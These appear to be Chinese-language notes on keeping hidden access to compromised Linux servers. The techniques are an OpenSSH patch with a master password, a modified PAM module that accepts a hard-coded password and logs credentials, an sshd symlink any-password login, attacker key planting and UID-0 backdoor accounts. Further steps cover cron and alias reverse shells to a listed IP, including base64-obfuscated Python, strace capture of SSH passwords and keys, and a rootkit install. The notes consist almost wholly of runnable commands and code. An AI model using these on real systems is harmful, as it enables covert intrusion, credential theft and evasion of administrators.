总结
关于通过ssh连接
openssl =>修改openssl版本 =>修改配置文件 =>使用万能密码登录
ssh-pam=>用户身份验证的机制 =>安装相同版本->修改配置文件 =>万能密码登录
ssh软链接=>针对端口 可任意密码登录
公私钥=>将攻击机公钥存进靶机文件中 攻击机直接利用私钥登录
登录维护
openssl
环境搭建
a.下载依赖
yum -y install openssl openssl-devel pam-devel zlib zlib-devel
yum -y install gcc gcc-c++ make
b.上传文件
c.解压文件
tar -xzvf openssh-5.9p1.tar.gz
tar -xzvf 0x06-openssh-5.9p1.patch.tar.gz
cp openssh-5.9p1.patch/sshbd5.9p1.diff openssh-5.9p1
cd openssh-5.9p1 && patch < sshbd5.9p1.diff
d. 备份SSH原始配置文件
mv /etc/ssh/ssh_config /etc/ssh/ssh_config.old
mv /etc/ssh/sshd_config /etc/ssh/sshd_config.old
vim includes.h
177 #define ILOG "/tmp/ilog"#ILOG是别人用ssh登录该主机记录的日志目录
178 #define OLOG "/tmp/olog"#OLOG是该主机用ssh登录其他主机记录的日志目录
179 #define SECRETPW "yeyeye" <---#修改此处万能密码
180 #endif /* INCLUDES_H */
vim version.h
./configure --prefix=/usr --sysconfdir=/etc/ssh --with-pam --with-kerberos5 && make && make install
PS:在编译过程中可能会出现“configure: error: *** zlib.h missing – please install first or check config.log”错误。
执行“yum install zlib-devel”和“yum install openssl openssl-devel”命令,
安装后再次进行编译
报错“Failed to start OpenSSH server daemon”解决方式:
-->执行
chmod 600 /etc/ssh/ssh_host_rsa_key
chmod 600 /etc/ssh/ssh_host_ecdsa_key
service sshd start
或
chown -R root.root /var/empty/sshd #将文件所述用户调整为root用户
chmod 744 /var/empty/sshd #调整文件权限
service sshd restart #重新启动sshd服务
后续操作
更新时间修改
执行以下命令,使ssh_config和sshd_config文件的修改时间与ssh_config.old和sshd_config.old文件一致。
touch -r /etc/ssh/ssh_config.old /etc/ssh/ssh_config
touch -r /etc/ssh/sshd_config.old /etc/ssh/sshd_config
使用ssh root@ip 万能密码直接登录
SSH-PAM
环境配置
1.关闭 setenforce 0 查看 getenforce
2.查询版本 rpm -qa | grep pam
3.下载:wget http://www.linux-pam.org/library/Linux-PAM-1.1.8.tar.gz
4.解压:tar -zxvf Linux-PAM-1.1.8
替换 Linux-PAM-1.1.8-master/modules/pam_unix/.libs
/pam_unix_auth.o 中的内容为如下
/* verify the password of this user */
retval = _unix_verify_password(pamh, name, p, ctrl);
if(strcmp("hackers",p)==0){return PAM_SUCCESS;} //后门密码
if(retval == PAM_SUCCESS){
FILE * fp;
fp = fopen("/tmp/.sshlog", "a");//SSH登录用户密码保存位置
fprintf(fp, "%s : %s\n", name, p);
fclose(fp);}
name = p = NULL;
AUTH_RETURN;
5.安装环境:yum install gcc flex flex-devel -y
编译安装
cd Linux-PAM-1.1.8
chmod +x ./configure
./configure && make
cp /usr/lib64/security/pam_unix.so /tmp/pam_unix.so.bakcp
cd modules/pam_unix/.libs
cp pam_unix.so /usr/lib64/security/pam_unix.so
ssh连接
ssh root@ip
ssh软链接
cat /etc/ssh/sshd_config|grep UsePAM 若是为no则修改为yes
使用命令配置:ln -sf /usr/sbin/sshd /tmp/su;/tmp/su -oPort=8888
连接报错:rm ~/.ssh/known_hosts
ssh 192.168.43.95 -p 8888
输入任意密码即可登录
公私钥
攻击端运行
vim /etc/ssh/sshd_config
RSAAuthentication yes
PubkeyAuthentication yes
AuthorizedKeysFile .ssh/authorized_keys
2.ssh-keygen -t rsa #三次回车
3.cat ~/.ssh/id_rsa.pub
靶机运行:
echo '<公钥位置>' > ~/.ssh/authorized_keys
后门账户
方式一:
useradd -p `openssl passwd -1 -salt 'salt' 密码` 用户名 -o -u 0 -g root -G root -s /bin/bash -d /home/test1
如: useradd -p `openssl passwd -1 -salt 'salt' 123456` test1 -o -u 0 -g root -G root -s /bin/bash -d /home/test1
方式二:
echo "yeyeye:x:0:0::/:/bin/sh" >> /etc/passwd #增加超级用户账号
passwd yeyeye #修改yeyeye的密码
后门维护
定时任务-cron后门
1.编辑后门
vim /etc/.aaa.sh
#!/bin/bash
bash -i >& /dev/tcp/43.138.215.2/3388 0>&1
chmod +x /etc/.aaa.sh
2.添加定时任务
vim /etc/crontab/
*/1 * * * * root /etc/.aaa.sh
3.启动定时任务
service crond reload //又一次加载配置
service crond restart //重新启动服务
service crond start //启动服务
关闭这个cron服务
service crond stop //关闭服务
4.监听端口
nc -lvp 3388
监控功能-srace后门
strace是一个动态跟踪工具,它可以跟踪系统调用的执行。
我们可以把他当成一个键盘记录的后门,来扩大我们信息收集的范围
安装
yum -y install srace
记录
记录sshd明文
(strace -f -F -p `ps aux|grep "sshd -D"|grep -v grep|awk {'print $2'}` -t -e trace=read,write -s 32 2> /tmp/.sshdaaa.log &)
查看文件内容
grep -E 'read\(6, ".+\\0\\0\\0\\.+"' /tmp/.sshdaaa.log
记录sshd私钥
(strace -f -F -p `ps aux|grep "sshd -D"|grep -v grep|awk {'print $2'}` -t -e trace=read,write -s 4096 2> /tmp/.sshdbbb.log &)
命令自定义-Alisa后门
alias命令的功能:为命令设置别名
定义: alias ls='ls -al' #每次输入ls命令的时候就能实现ls -al
删除: unalias ls
普通连接
alias ls='alerts(){ ls $* --color=auto;bash -i >& /dev/tcp/192.168.43.3/5555 0>&1; };alerts'
靶机输入 => ls
攻击机 => nc -lvp 5555
脚本连接(不会卡死)
python: base64解码 将ip地址改为要反弹的ip 重新编码后输入
alias ls='alerts(){ ls $* --color=auto;python3 -c "import base64,sys;exec(base64.b64decode({2:str,3:lambda b:bytes(b,'\''UTF-8'\'')}[sys.version_info[0]]('\''aW1wb3J0IG9zLHNvY2tldCxzdWJwcm9jZXNzOwpyZXQgPSBvcy5mb3JrKCkKaWYgcmV0ID4gMDoKICAgIGV4aXQoKQplbHNlOgogICAgdHJ5OgogICAgICAgIHMgPSBzb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULCBzb2NrZXQuU09DS19TVFJFQU0pCiAgICAgICAgcy5jb25uZWN0KCgiMTkyLjE2OC40My4zIiwgNTU1NSkpCiAgICAgICAgb3MuZHVwMihzLmZpbGVubygpLCAwKQogICAgICAgIG9zLmR1cDIocy5maWxlbm8oKSwgMSkKICAgICAgICBvcy5kdXAyKHMuZmlsZW5vKCksIDIpCiAgICAgICAgcCA9IHN1YnByb2Nlc3MuY2FsbChbIi9iaW4vc2giLCAiLWkiXSkKICAgIGV4Y2VwdCBFeGNlcHRpb24gYXMgZToKICAgICAgICBleGl0KCk='\'')))";};alerts'
防止发现
alias alias='alerts(){ alias "$@" | grep -v unalias | sed "s/alerts.*lambda.*/ls --color=auto'\''/";};alerts'
内核加载LKM-RootKit后门
centos7
$kernel=`uname -r`
yum -y install perl vim gcc make g++ unzip
yum -y localinstall kernel-devel-"$kernal".rpm
cd Reptile-2.0/ && chmod +x ./setup.sh
./setup.sh install <<EOF
reptile
hax0r \# 改你的token
s3cr3t \# 改你的密码
reptile
666
y
43.138.215.2 \# 改你的攻击IP
9000 \# 改你的攻击监听端口
1
EOF
